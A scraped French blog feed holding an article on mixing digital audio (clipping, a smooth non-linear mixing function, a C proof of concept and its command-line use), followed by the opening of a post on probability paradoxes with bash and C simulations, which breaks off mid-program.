Nous pouvons choisir n’importe quel k entre 0.5 et 1 : plus k est faible, moins le clipping sera probable ; plus k est élevé, plus l’amplitude sera conservée.

Voici le graphe pour k = 0.7 :

mix_ksum

Cette méthode est très utile si nous connaissons à l’avance les sources audio. Par exemple, pour mélanger deux fichiers son, nous pouvons effectuer une première passe pour analyser le max m de la somme des deux signaux, et choisir k < 1/m : cela garantit qu’il n’y aura pas de clipping, et nous pouvons conserver l’amplitude dans la mesure du possible, sans distorsion.

Si ces sources audio nous parviennent en direct (streaming, conversation audio…), nous pouvons choisir un nombre arbitrairement (plus ou moins basé sur l’expérience). Choisir k > 0.5 se justifie car si deux sources audio sont indépendantes, les ajouter ne provoque pas des pics deux fois plus importants (les pics d’un signal vont souvent être compensés par les creux de l’autre).

Fonction non-linéaire

Mais nous pouvons trouver un meilleur compromis grâce à des fonctions non-linéaires.

Dans la première partie de son billet Mixing digital audio, Viktor T. Toth présente une stratégie très intéressante. Il part du principe que le mixage de deux sources audio doit respecter les règles suivantes :

Et si les signaux prennent valeur dans [0, 1], la fonction suivante respecte ces contraintes :

vtt(x, y) = x + y - x * y

vtt

Cependant, en réalité, les signaux prennent valeur dans [-1, 1], et cette fonction ne convient pas. L’auteur s’en est rendu compte, mais malheureusement la solution qu’il propose n’est pas appropriée (par exemple, le mixage ne se comporte pas symétriquement si nous inversons le signal).

Nous pouvons extrapoler son idée originale pour la faire fonctionner sur [-1, 1] :

mix_vtt(x, y) = \
    x >= 0 && y >= 0 ? x + y - x * y \
  : x <= 0 && y <= 0 ? x + y + x * y \
  : x + y

Le principe est d’utiliser le symétrique de sa fonction pour la partie négative, et ajouter deux bouts de plans pour les raccords :

mix_vttx

Mais quelque chose saute aux yeux : sa représentation n’est pas lisse (la fonction n’est pas continûment dérivable (C1)). Cela signifie que les variations du résultat en fonction des variations des sources changent brutalement en certains endroits.

Ce n’est pas satisfaisant mathématiquement.

Surface lisse

Et en effet, en y réfléchissant, la fonction souffre de quelques défauts.

Par exemple, si l’une des deux sources audio est à 1, alors si l’autre est positive, elle n’a aucun impact, si elle est négative, elle a un impact linéaire important. Ce n’est rien d’autre qu’un clipping de l’une des deux sources.

Par ailleurs, dans la réalité, le mixage de deux signaux est simplement leur addition. Le résultat est donc invariant si nous ajoutons une constante à une source et la soustrayons à l’autre :

mix(x, y) = mix(x + k, y - k) = x + y

Cette propriété me semble importante : peu importe que le son provienne d’une source ou d’une autre, cela n’intervient pas dans le mixage.

Or, dans la fonction précédente, ce n’est pas le cas. Par exemple :

mix_vttx(0.5, 0.5) = 0.75
min_vttx(0, 1) = 1

Afin de dépasser ce problème, posons cette propriété comme principe : puisque l’identification de l’apport individuel de chaque signal ne compte pas, considérons uniquement leur somme (ou leur moyenne). Ainsi, au lieu d’une fonction à deux variables x et y, nous pouvons utiliser une fonction à une seule variable z = (x + y) / 2 (la moyenne).

Remarquons que nous pouvions déjà exprimer les fonctions linéaires vues précédemment en fonction d’une seule variable. En effet, en posant z = (x + y) / 2, nous obtenons :

sum(z) = max(-1, min(1, 2 * z))
mean(z) = z
ksum(z) = max(-1, min(1, 2 * k * z))

Dans le fond, nous cherchons une fonction qui s’approche de sum pour les amplitudes faibles (pour conserver l’amplitude au mieux) et de mean pour les amplitudes élevées (pour éviter le clipping).

Avec un peu d’imagination, nous pouvons trouver une fonction qui convient parfaitement (pour 2 pistes audio) :

g(z) = z * (2 - abs(z))

Elle se généralise pour n pistes audio :

g(z) = sgn(z) * (1 - (1 - abs(z)) ** n)

abs(x) désigne la valeur absolue de x (|x|), et ** est la fonction puissance (a ** n signifie an)

g

Cette fonction a plein de propriétés intéressantes :

∀x, |g(x)| <= 1
dans le bon intervalle
g(-1) = -1, g(0) = 0 et g(1) = 1
résultats cohérents
∀x (|x| < 1), g’(x) > 0
pas de clipping
∀x, |g(x)| ≤ |sum(x)|
l’amplitude ne dépasse jamais la somme de celle des sources
∀x, |g(x)| ≥ |mean(x)|
l’amplitude est toujours supérieure à la moyenne des sources
∀x, g’(0) = sum’(x) = n
g se comporte comme sum lorsque l’amplitude est faible (elle varie de la même manière)
∀x≠0, x.g’(x) < 0
la croissance de g ralentit lorsque l’amplitude augmente (en valeur absolue), donc les fortes amplitudes sont plus compressées que les faibles
∀x, g(-x) = –g(x) (impaire)
comportement symétrique sur un signal inversé
g ∈ C1 (continûment dérivable)
parfaitement lisse

Passons alors en 3 dimensions, et posons :

mix_f(x, y) = g((x + y) / 2)

mix_f

Nous nous apercevons que c’est une version lissée de la fonction précédente :

mix_f_vttx

Cette fonction me semble donc pertinente pour mixer plusieurs flux audio.

En pratique

Bon, jusqu’ici nous avons fait de beaux dessins, c’était rigolo. Maintenant, passons à la pratique, et implémentons les fonctions de mixage en C.

Nous manipulerons uniquement des flux audio brut (des wav sans en-tête), contenant uniquement des échantillons encodés par des entiers signés sur 16 bits, en little endian. Ça peut paraître compliqué comme ça, mais c’est juste le format utilisé pour les cd audio.

Le programme est indifférent au nombre de canaux ou à la fréquence (il mixe les échantillons les uns à la suite des autres), mais bien évidemment les différentes pistes mixées doivent avoir ces paramètres identiques.

Implémentation

Bien que nous n’ayons vu jusqu’ici que le mixage de deux pistes audio (au-delà c’était compliqué de les visualiser sur des graphes), l’implémentation permet de mixer n pistes audio.

Le mixage s’effectue sur un échantillon de chaque piste audio à la fois (il est indépendant des échantillons précédents et suivants). Les fonctions de mixage ont toutes la même signature :

int mix(int n, int samples[])
n
le nombre de pistes audio
samples
le tableau des n échantillons à mixer

La valeur du retour ainsi que celles des samples[i] tient sur 16 bits (compris entre -32768 et 32767).

À titre d’exemple, voici l’implémentation de la fonction f (celle qui est lisse) :

int
mix_f(int n, int samples[])
{
  double z = _dsum(n, samples) / n;
  int sgn = z >= 0 ? 1 : -1;
  double g = sgn * (1 - pow(1 - sgn * z, n));
  return to_int16(g);
}

avec _dsum une fonction qui somme les n samples et to_int16 une fonction qui convertit un flottant compris entre -1 et 1 vers un entier compris entre -32768 et 32767.

Une fonction main s’occupe d’ouvrir les fichiers dont les noms sont passés en paramètres et d’appliquer pour chaque échantillon la fonction de mixage désirée.

Sources

Les sources complètes sont gitées :

git clone http://git.rom1v.com/mixpoc.git

(ou sur github).

Le projet contient :

Utilisation

Fichiers raw

Le PoC ne manipule que des fichiers raw. Il est peu probable que vous ayez de tels fichiers sur votre ordinateurs, vous devez donc pouvoir en créer à partir de vos fichiers audio habituels.

Vous aurez besoin de sox et éventuellement avconv ou ffmpeg.

./toraw file.wav file.raw
./toraw file.ogg file.raw
./toraw file.flac file.raw

Pour l’opération inverse :

./rawtowav file.raw file.wav

Si le format n’est pas supporté par sox (comme le mp3), convertissez-le en wav d’abord :

avconv -i file.mp3 file.wav
ffmpeg -i file.mp3 file.wav
Lecture et enregistrement

Il est possible de lire des fichiers raw directement et d’en enregistrer de nouveaux à partir du microphone (pratique pour essayer de mixer une musique avec une conversation).

Le paquet alsa-utils doit être installé (vérifiez que le microphone est bien activé dans alsamixer).

Pour enregistrer :

./record file.raw
./record > file.raw

Pour lire :

./play file.raw
./play < file.raw

Pour lire en direct le son provenant du microphone (à tester avec un casque pour éviter l’effet Larsen) :

./record | ./play
Mixpoc

Pour compiler mixpoc (nécessite make et un compilateur C comme gcc) :

make

Pour l’utiliser, la syntaxe est la suivante :

./mixpoc (sum|mean|ksum|vttx|f) file1 [file2 [...]]

Le résultat sort sur la sortie standard. Ainsi :

./mixpoc f file1.raw file2.raw filen.raw > result.raw

écrit le fichier result.raw.

Pour lire en direct le résultat :

./mixpoc f file1.raw file2.raw filen.raw | ./play

ou plus simplement (grâce au script mix) :

./mix f file1.raw file2.raw filen.raw

Pour ajouter une source silencieuse, vous pouvez utiliser /dev/zero :

./mix f file.raw /dev/zero

Vous avez maintenant tout ce dont vous avez besoin pour tester.

Gnuplot

Pour visualiser les graphes gnuplot, je vous conseille le paquet gnuplot-qt.

Pour les ouvrir :

gnuplot -p file.gnu

La souris ou les flèches du clavier permettent de tourner le graphe en 3 dimensions.

Les commandes nécessaires pour générer une image .png sont écrites en commentaire à l’intérieur du fichier. Je les ai fait commencer par ## pour pouvoir les décommenter automatiquement (sans décommenter le reste) avec un script.

Ainsi, pour générer les fichiers .png :

./gg file.gnu
./gg *.gnu

Conclusion

Pour mixer plusieurs pistes son, la fonction f me semble très bonne, à la fois en théorie et en pratique. Sur les exemples que j’ai testés, le résultat était celui attendu.

Cependant, je n’ai ni du matériel audio ni des oreilles de haute qualité, et mes connaissances en acoustique sont très limitées.

Les critiques sont donc les bienvenues.

";s:7:"dateiso";s:15:"20130129_151545";}s:15:"20130129_141545";a:7:{s:5:"title";s:15:"Le mixage audio";s:4:"link";s:45:"http://blog.rom1v.com/2013/01/le-mixage-audio";s:4:"guid";s:45:"http://blog.rom1v.com/2013/01/le-mixage-audio";s:7:"pubDate";s:25:"2013-01-29T14:15:45+01:00";s:11:"description";s:0:"";s:7:"content";s:26601:"

Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ?

Dans la réalité, ce que nous entendons est la somme de chacun des signaux.

Mais si nous voulons mélanger plusieurs pistes audio numériques, nous rencontrons un problème : chaque échantillon d’un signal audio est compris entre une valeur min et une valeur max, disons entre -1 et 1. Pour les mixer, nous ne pouvons donc pas sommer plusieurs signaux comme dans la réalité : le signal résultant doit aussi être compris entre -1 et 1. Comment faire alors ?

En théorie

Les graphes présentés dans les sections suivantes ont été créés avec gnuplot, et les définitions de fonctions sont écrites dans la syntaxe correspondante. Les sources (.gnu) sont disponibles pour chacun des graphes, vous permettant de les manipuler en 3D.

Somme tronquée

La première idée est de sommer les signaux en tronquant le résultat dans l’intervalle [-1; 1]. Pour le mixage de deux sources audio x et y :

mix_sum(x, y) = min(1, max(-1, x + y))

Le résultat sera parfait lorsque |x + y| <= 1. Par contre, dans le reste des cas, nous obtenons du clipping, désagréable à l’oreille.

Visualisons cette fonction :

mix_sum

Les axes horizontaux correspondent à un échantillon de chacune des deux sources audio ; l’axe vertical représente la valeur résultant de la combinaison des deux en utilisant la somme tronquée.

Le clipping correspond aux deux paliers horizontaux du haut et du bas.

Moyenne

Pour éviter tout clipping, il suffirait de moyenner les deux sources audio :

mix_mean(x, y) = (x + y) / 2;

mix_mean

Effectivement, ça fonctionne bien. Mais ce n’est pas forcément le meilleur choix.

Le son résultant va toujours être plus faible que le plus fort des deux sources, et souvent de manière significative. En particulier, si nous mélangeons une source audio quelconque avec un silence, l’amplitude va être divisée par deux.

De plus, la définition va également être divisée par deux : si l’amplitude est codée sur 8 bits, elle peut prendre 256 valeurs. En divisant les signaux par deux, chaque signal aura une définition de 7 bits (128 valeurs).

Ces inconvénients s’agravent lorsqu’il y a plus de deux sources à mélanger.

k × somme

Nous pouvons alors chercher un compromis entre conserver l’amplitude et éviter le clipping. En fait, les fonctions de somme tronquée et de moyenne ne sont que deux cas particuliers de cette fonction :

mix_ksum(k, x, y) = min(1, max(-1, k * (x + y)))

En effet :

mix_sum(x, y) = mix_ksum(1, x, y)
mix_mean(x, y) = mix_ksum(0.5, x, y)

Nous pouvons choisir n’importe quel k entre 0.5 et 1 : plus k est faible, moins le clipping sera probable ; plus k est élevé, plus l’amplitude sera conservée.

Voici le graphe pour k = 0.7 :

mix_ksum

Cette méthode est très utile si nous connaissons à l’avance les sources audio. Par exemple, pour mélanger deux fichiers son, nous pouvons effectuer une première passe pour analyser le max m de la somme des deux signaux, et choisir k < 1/m : cela garantit qu’il n’y aura pas de clipping, et nous pouvons conserver l’amplitude dans la mesure du possible, sans distorsion.

Si ces sources audio nous parviennent en direct (streaming, conversation audio…), nous pouvons choisir un nombre arbitrairement (plus ou moins basé sur l’expérience). Choisir k > 0.5 se justifie car si deux sources audio sont indépendantes, les ajouter ne provoque pas des pics deux fois plus importants (les pics d’un signal vont souvent être compensés par les creux de l’autre).

Fonction non-linéaire

Mais nous pouvons trouver un meilleur compromis grâce à des fonctions non-linéaires.

Dans la première partie de son billet Mixing digital audio, Viktor T. Toth présente une stratégie très intéressante. Il part du principe que le mixage de deux sources audio doit respecter les règles suivantes :

Et si les signaux prennent valeur dans [0, 1], la fonction suivante respecte ces contraintes :

vtt(x, y) = x + y - x * y

vtt

Cependant, en réalité, les signaux prennent valeur dans [-1, 1], et cette fonction ne convient pas. L’auteur s’en est rendu compte, mais malheureusement la solution qu’il propose n’est pas appropriée (par exemple, le mixage ne se comporte pas symétriquement si nous inversons le signal).

Nous pouvons extrapoler son idée originale pour la faire fonctionner sur [-1, 1] :

mix_vtt(x, y) = \
    x >= 0 && y >= 0 ? x + y - x * y \
  : x <= 0 && y <= 0 ? x + y + x * y \
  : x + y

Le principe est d’utiliser le symétrique de sa fonction pour la partie négative, et ajouter deux bouts de plans pour les raccords :

mix_vttx

Mais quelque chose saute aux yeux : sa représentation n’est pas lisse (la fonction n’est pas continûment dérivable (C1)). Cela signifie que les variations du résultat en fonction des variations des sources changent brutalement en certains endroits.

Ce n’est pas satisfaisant mathématiquement.

Surface lisse

Et en effet, en y réfléchissant, la fonction souffre de quelques défauts.

Par exemple, si l’une des deux sources audio est à 1, alors si l’autre est positive, elle n’a aucun impact, si elle est négative, elle a un impact linéaire important. Ce n’est rien d’autre qu’un clipping de l’une des deux sources.

Par ailleurs, dans la réalité, le mixage de deux signaux est simplement leur addition. Le résultat devrait donc être invariant si nous ajoutons une constante à une source et la soustrayons à l’autre :

mix(x, y) = mix(x + k, y - k) = x + y

Cette propriété me semble importante : peu importe que le son provienne d’une source ou d’une autre, cela n’intervient pas dans le mixage.

Or, dans la fonction précédente, elle n’est pas respectée. Par exemple :

mix_vttx(0.5, 0.5) = 0.75
min_vttx(0, 1) = 1

Afin de dépasser ce problème, posons cette propriété comme principe : puisque l’identification de l’apport individuel de chaque signal ne compte pas, considérons uniquement leur somme (ou leur moyenne). Ainsi, au lieu d’une fonction à deux variables x et y, nous pouvons utiliser une fonction à une seule variable z = (x + y) / 2 (la moyenne).

Remarquons que nous pouvions déjà exprimer les fonctions linéaires vues précédemment en fonction d’une seule variable. En effet, en posant z = (x + y) / 2, nous obtenons :

sum(z) = max(-1, min(1, 2 * z))
mean(z) = z
ksum(z) = max(-1, min(1, 2 * k * z))

Dans le fond, nous cherchons une fonction qui s’approche de sum pour les amplitudes faibles (pour conserver l’amplitude au mieux) et de mean pour les amplitudes élevées (pour éviter le clipping).

Avec un peu d’imagination, nous pouvons trouver une fonction qui convient parfaitement (pour 2 pistes audio) :

g(z) = z * (2 - abs(z))

Elle se généralise pour n pistes audio :

g(z) = sgn(z) * (1 - (1 - abs(z)) ** n)

abs(x) désigne la valeur absolue de x (|x|), et ** est la fonction puissance (a ** n signifie an)

g

Cette fonction a plein de propriétés intéressantes :

∀x, |g(x)| <= 1
dans le bon intervalle
g(-1) = -1, g(0) = 0 et g(1) = 1
résultats cohérents
∀x (|x| < 1), g’(x) > 0
pas de clipping
∀x, |g(x)| ≤ |sum(x)|
l’amplitude ne dépasse jamais la somme de celle des sources
∀x, |g(x)| ≥ |mean(x)|
l’amplitude est toujours supérieure à la moyenne des sources
∀x, g’(0) = sum’(x) = n
g se comporte comme sum lorsque l’amplitude est faible (elle varie de la même manière)
∀x≠0, x.g’‘(x) < 0
la croissance de g ralentit lorsque l’amplitude augmente (en valeur absolue), donc les fortes amplitudes sont plus compressées que les faibles
∀x, g(-x) = -g(x) (impaire)
comportement symétrique sur un signal inversé
g ∈ C1 (continûment dérivable)
parfaitement lisse

Passons alors en 3 dimensions, et posons :

mix_f(x, y) = g((x + y) / 2)

mix_f

Nous nous apercevons que c’est une version lissée de la fonction précédente :

mix_f_vttx

Cette fonction me semble donc pertinente pour mixer plusieurs flux audio.

En pratique

Bon, jusqu’ici nous avons fait de beaux dessins, c’était rigolo. Maintenant, passons à la pratique, et implémentons les fonctions de mixage en C.

Nous manipulerons uniquement des flux audio brut (des wav sans en-tête), contenant uniquement des échantillons encodés par des entiers signés sur 16 bits, en little endian. Ça peut paraître compliqué comme ça, mais c’est juste le format utilisé pour les cd audio.

Le programme est indifférent au nombre de canaux ou à la fréquence (il mixe les échantillons les uns à la suite des autres), mais bien évidemment les différentes pistes mixées doivent avoir ces paramètres identiques.

Implémentation

Bien que nous n’ayons vu jusqu’ici que le mixage de deux pistes audio (au-delà c’était compliqué de les visualiser sur des graphes), l’implémentation permet de mixer n pistes audio.

Le mixage s’effectue sur un échantillon de chaque piste audio à la fois (il est indépendant des échantillons précédents et suivants). Les fonctions de mixage ont toutes la même signature :

int mix(int n, int samples[]);
n
le nombre de pistes audio
samples
le tableau des n échantillons à mixer

La valeur du retour ainsi que celles des samples[i] tient sur 16 bits (compris entre -32768 et 32767).

À titre d’exemple, voici l’implémentation de la fonction f (celle qui est lisse) :

int mix_f(int n, int samples[]) {
    double z = _dsum(n, samples) / n;
    int sgn = z >= 0 ? 1 : -1;
    double g = sgn * (1 - pow(1 - sgn * z, n));
    return to_int16(g);
}

avec _dsum une fonction qui somme les n samples et to_int16 une fonction qui convertit un flottant compris entre -1 et 1 vers un entier compris entre -32768 et 32767.

Une fonction main s’occupe d’ouvrir les fichiers dont les noms sont passés en paramètres et d’appliquer pour chaque échantillon la fonction de mixage désirée.

Sources

Les sources complètes sont gittées :

git clone http://git.rom1v.com/mixpoc.git

(ou sur github).

Le projet contient :

Utilisation

Fichiers raw

Le PoC ne manipule que des fichiers raw. Il est peu probable que vous ayez de tels fichiers sur votre ordinateurs, vous devez donc pouvoir en créer à partir de vos fichiers audio habituels.

Vous aurez besoin de sox et éventuellement avconv ou ffmpeg.

./toraw file.wav file.raw
./toraw file.ogg file.raw
./toraw file.flac file.raw

Pour l’opération inverse :

./rawtowav file.raw file.wav

Si le format n’est pas supporté par sox (comme le mp3), convertissez-le en wav d’abord :

avconv -i file.mp3 file.wav
ffmpeg -i file.mp3 file.wav

Lecture et enregistrement

Il est possible de lire des fichiers raw directement et d’en enregistrer de nouveaux à partir du microphone (pratique pour essayer de mixer une musique avec une conversation).

Le paquet alsa-utils doit être installé (vérifiez que le microphone est bien activé dans alsamixer).

Pour enregistrer :

./record file.raw
./record > file.raw

Pour lire :

./play file.raw
./play < file.raw

Pour lire en direct le son provenant du microphone (à tester avec un casque pour éviter l’effet Larsen) :

./record | ./play

Mixpoc

Pour compiler mixpoc (nécessite make et un compilateur C comme gcc) :

make

Pour l’utiliser, la syntaxe est la suivante :

./mixpoc (sum|mean|ksum|vttx|f) file1 [file2 [...]]

Le résultat sort sur la sortie standard. Ainsi :

./mixpoc f file1.raw file2.raw filen.raw > result.raw

écrit le fichier result.raw.

Pour lire en direct le résultat :

./mixpoc f file1.raw file2.raw filen.raw | ./play

ou plus simplement (grâce au script mix) :

./mix f file1.raw file2.raw filen.raw

Pour ajouter une source silencieuse, vous pouvez utiliser /dev/zero :

./mix f file.raw /dev/zero

Vous avez maintenant tout ce dont vous avez besoin pour tester.

Gnuplot

Pour visualiser les graphes gnuplot, je vous conseille le paquet gnuplot-qt.

Pour les ouvrir :

gnuplot -p file.gnu

La souris ou les flèches du clavier permettent de tourner le graphe en 3 dimensions.

Les commandes nécessaires pour générer une image .png sont écrites en commentaire à l’intérieur du fichier. Je les ai fait commencer par ## pour pouvoir les décommenter automatiquement (sans décommenter le reste) avec un script.

Ainsi, pour générer les fichiers .png :

./gg file.gnu
./gg *.gnu

Conclusion

Pour mixer plusieurs pistes son, la fonction f me semble très bonne, à la fois en théorie et en pratique. Sur les exemples que j’ai testés, le résultat était celui attendu.

Cependant, je n’ai ni du matériel audio ni des oreilles de haute qualité, et mes connaissances en acoustique sont très limitées.

Les critiques sont donc les bienvenues.

";s:7:"dateiso";s:15:"20130129_141545";}s:15:"20121209_211120";a:7:{s:5:"title";s:23:"Paradoxes probabilistes";s:4:"link";s:54:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4250";s:7:"pubDate";s:31:"Sun, 09 Dec 2012 20:11:20 +0000";s:11:"description";s:392:"Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant. Deux enfants Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre […]";s:7:"content";s:24085:"

Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant.

Deux enfants

Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre soit (aussi) une fille ?

Par hypothèse, la probabilité à chaque naissance d’avoir un garçon est égale à celle d’avoir une fille (50%), et les naissances sont indépendantes.

La réponse 1/2 est évidente. Mais fausse. La bonne réponse est 1/3.

En effet, un couple ayant deux enfants a 4 possiblités équiprobables :

  1. garçon-garçon
  2. garçon-fille
  3. fille-garçon
  4. fille-fille

Sachant que l’un des deux est une fille, le cas 1 est exclu : il reste trois possibilités équiprobables, dont une seule correspond au cas fille-fille. Il y a donc une chance sur trois que les deux enfants soient des filles. CQFD

Pour vous en convaincre, considérez les deux phrases équivalentes suivantes :

Pour chacune d’elles, demandez-vous quelle est la probabilité que les deux enfants soient des filles.

Attendez d’être convaincus de ce résultat avant de passer à la suite.

Fausse implication

Une fois ce résultat compris, considérons l’énoncé suivant :

Un couple a deux enfants. Je le croise dans la rue avec l’un de ses enfants, qui est une fille. Quelle est la probabilité que l’autre enfant (celui qui est absent) soit (aussi) une fille.

Il est possible de répondre avec certitude : s’il est absent, c’est un garçon, si elle est absente, c’est une fille. (Ça, c’est fait !)

Alors vous appliquez le même raisonnement, et répondez 1/3.
Après tout, nous sommes exactement dans le cas de l’énoncé précédent : un couple a deux enfants et je sais que l’un d’eux (au moins) est une fille.

Mais non, c’est faux. Ici, la réponse est 1/2.

Pour le comprendre, il faut voir que le raisonnement menant à la réponse 1/3 n’est en fait tout-à-fait valide qu’en levant une légère ambiguïté de l’énoncé, celle de l’acquisition de l’information : comment savons-nous que le couple ayant deux enfants a au moins une fille (pour déterminer la probabilité qu’il en ait deux) ?

Si nous avons demandé à l’un des parents « avez-vous (au moins) une fille ? » et qu’il a répondu « oui », alors la probabilité que les deux soient des filles est bien 1/3.

Par contre, si nous lui avons demandé « indiquez-moi le sexe de l’un de vos enfants » et qu’il a répondu « j’ai (au moins) une fille », alors la probabilité que les deux soient des filles est 1/2. En effet, le fait que le parent puisse répondre garçon à cette question lorsqu’il a deux enfants de sexes différents fait baisser la probabilité conditionnelle des cas 2 et 3, et une fois le cas 1 exclu, l’union des 2 et 3 et le cas 4 sont équiprobables. Relisez la phrase précédente plusieurs fois. Comme elle n’est pas claire, consultez le calcul sur Wikipedia.

Le fait de rencontrer un enfant de ce couple (ici, une fille) s’apparente à ce dernier cas (car pour deux enfants de sexes différents, nous aurions pu rencontrer le garçon). Ainsi, la probabilité que l’autre soit une fille est 1/2.

Si ce n’est pas clair, continuez, j’en reparle un peu plus loin lorsque j’évoque la particularisation.

Deux enfants, un jour

Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un mardi. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse n’est ni 1/2, ni 1/3, mais 13/27.

Un bash vaut mieux qu’un long discours :

printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | grep F.-F. | wc -l

(Nous supposons avoir obtenu l’information en demandant à l’un des parents « avez-vous une fille née un mardi ? ». Comme dans le premier exemple, si nous lui avions demandé « indiquez-moi le sexe d’un de vos enfants ainsi que son jour de naissance », la probabilité que l’autre soit une fille serait 1/2.)

Il est également possible de différencier par autre chose qu’un jour de la semaine, par exemple faire la différence entre matin (entre minuit et midi) et après-midi (entre midi et minuit) :

Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un matin. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse est 3/7 :

printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | wc -l
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | grep F.-F. | wc -l

Deux enfants, un prénom

Supposons maintenant qu’aucun couple n’appelle deux de ses enfants par le même prénom, et considérons l’énoncé suivant :

Un couple a deux enfants dont l’un d’eux (au moins) est une fille prénommée Sophie. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse ici est 1/2.

Si vous avez compris le résultat du script bash précédent, cela revient à supposer que les enfants ne peuvent pas être nés le même jour de la semaine (ce qui est absurde pour un jour de la semaine, mais pas pour un prénom).

printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | grep F.-F. | wc -l

Synthèse et particularisation

Résumons. Sachant que l’un des deux enfants est une fille, la probabilité que les deux soient des filles dépend de la capacité à particulariser l’enfant dont on connaît le sexe. Sans aucune information supplémentaire, la probabilité est 1/3.

Mais si nous savons par exemple que l’enfant en question est l’aîné, nous le particularisons complètement : nous sommes sûrs que l’autre n’est pas l’aîné, et donc la probabilité devient 1/2 (évidemment, puisque par hypothèse, les naissances sont indépendantes). De même, si nous supposons qu’un couple ne donne pas le même prénom à plusieurs de ses enfants, alors préciser le prénom particularise complètement l’enfant dont on parle. Il en va de même si nous rencontrons l’un des enfants dans la rue : c’est de celui qui est présent dont on parle, pas n’importe lequel.

Et il existe des cas intermédiaires, où nous ne particularisons que partiellement. Par exemple, en précisant que l’enfant est né un mardi, dans certains cas l’information est différenciante (l’autre enfant n’est pas né un mardi), dans certains cas non (les deux enfants sont nés un mardi). Le résultat n’est donc ni 1/3, ni 1/2, mais entre les deux (13/27 ici).

Si vous avez du mal à vous convaincre que rencontrer l’un des enfants dans la rue le particularise (et donc donne une probabilité de 1/2 que l’autre soit une fille ou un garçon), je vous propose l’expérience de pensée suivante (par l’absurde). Vous rencontrez le couple avec l’un de ses enfants, qui est une fille. D’après le tout premier raisonnement, vous en concluez que la probabilité que l’autre soit une fille est 1/3. Vous lui parlez, et vous lui demandez quel jour de la semaine elle est née, elle vous répond mardi. Vous savez maintenant que c’est une fille née un mardi. D’après ce que nous venons de voir, vous en concluez que la probabilité que l’autre soit une fille est 13/27. Mais le résultat aurait été le même si elle avait répondu n’importe quel autre jour de la semaine. Le fait d’avoir posé la question a donc changé la probabilité, et ceci, indépendemment de sa réponse. Comment pourrait-elle dépendre du simple fait de poser la question ? C’est incohérent.

Cette particularisation me fait d’ailleurs beaucoup penser au phénomène de décohérence quantique.

Monty Hall

Il s’agit jeu télévisé avec trois portes, dont voici les règles :

La question qui se pose alors est : le joueur augmente-t-il ses chances de gagner la voiture en changeant son choix initial ?

Vu qu’il reste deux portes, nous pourrions nous dire que garder son choix initial ou le changer n’a pas d’incidence sur les probabilités. Ce qui évidemment est faux (sinon nous n’en parlerions pas). En réalité, il a une probabilité de 1/3 de gagner s’il conserve son choix initial et 2/3 s’il en change.

Lors de son choix initial, le joueur a une chance sur trois de sélectionner la porte gagnante. S’il décide de toujours garder sa porte, il a donc une chance sur trois de gagner. Comme à la fin il n’a que deux choix (garder ou changer), il aurait eu deux chances sur trois de gagner en changeant de porte.

Pour mieux comprendre, généralisons le principe du jeu :

La réponse devient évidente, non ?

Si vous n’êtes pas convaincus, développeur et que vous connaissez la loi des grands nombres, ce programme devrait vous aider :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, char *argv[])
{
  int i, winning, choice, elim, change;
  int keepwin = 0, changewin = 0;

  /* Initialise le seed pour la génération aléatoire */
  srand(time(NULL));

  for (i = 0; i < 10000; i++) {
    /* Tire au sort une porte gagnante et un choix du joueur */
    winning = rand() % 3;
    choice = rand() % 3;

    /* Présentateur */
    if (choice == winning)
      /* Choisit aléatoirement d'éliminer l'une des deux autres portes */
      elim = ~winning & (rand() % 2 + 1);
    else
      /* Désigne la porte restante perdante */
      elim = 3 - choice - winning;

    /* Compte les choix vainqueurs */
    change = 3 - choice - elim;
    keepwin += choice == winning;
    changewin += change == winning;
  }

  printf("Victoires en gardant son choix   : %d\n", keepwin);
  printf("Victoires en changeant son choix : %d\n", changewin);
  return 0;
}

Notez que rand() % 3 ne fournira pas une distribution strictement uniforme (3 n’étant pas une puissance de 2), mais la précision nous suffira ici.

Ce problème est similaire au paradoxe des prisonniers.

Variante

Changeons un peu les règles : maintenant, le présentateur ne sait pas où se trouve la porte gagnante.
Du coup, une fois que le joueur a choisi sa porte, le présentateur indique une porte au hasard parmi les deux restantes. Si malheureusement il tombe sur la porte gagnante, la partie est annulée et on recommence.

Ainsi nous retirons toutes les parties où le présentateur a ouvert la porte gagnante. Il ne reste donc plus que les parties où il désigne une porte perdante, et nous nous retrouvons dans le même cas que précédement.

Eh bien, en fait, non. Ce n’est pas le même cas que précédemment, car maintenant le joueur va gagner avec un probabilité est de 1/2 qu’il garde sa porte ou qu’il en change. La preuve :

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  int i = 0, winning, choice, elim, change;
  int keepwin = 0, changewin = 0;

  /* Initialise le seed pour la génération aléatoire */
  srand(time(NULL));

  while (i < 10000) {
    /* Tire au sort une porte gagnante et un choix du joueur */
    winning = rand() % 3;
    choice = rand() % 3;

    /* Présentateur */
    elim = ~choice & (rand() % 2 + 1);
    if (elim == winning)
      continue;

    /* Compte les choix vainqueurs */
    change = 3 - choice - elim;
    keepwin += choice == winning;
    changewin += change == winning;
    i++;
  }

  printf("Victoires en gardant son choix   : %d\n", keepwin);
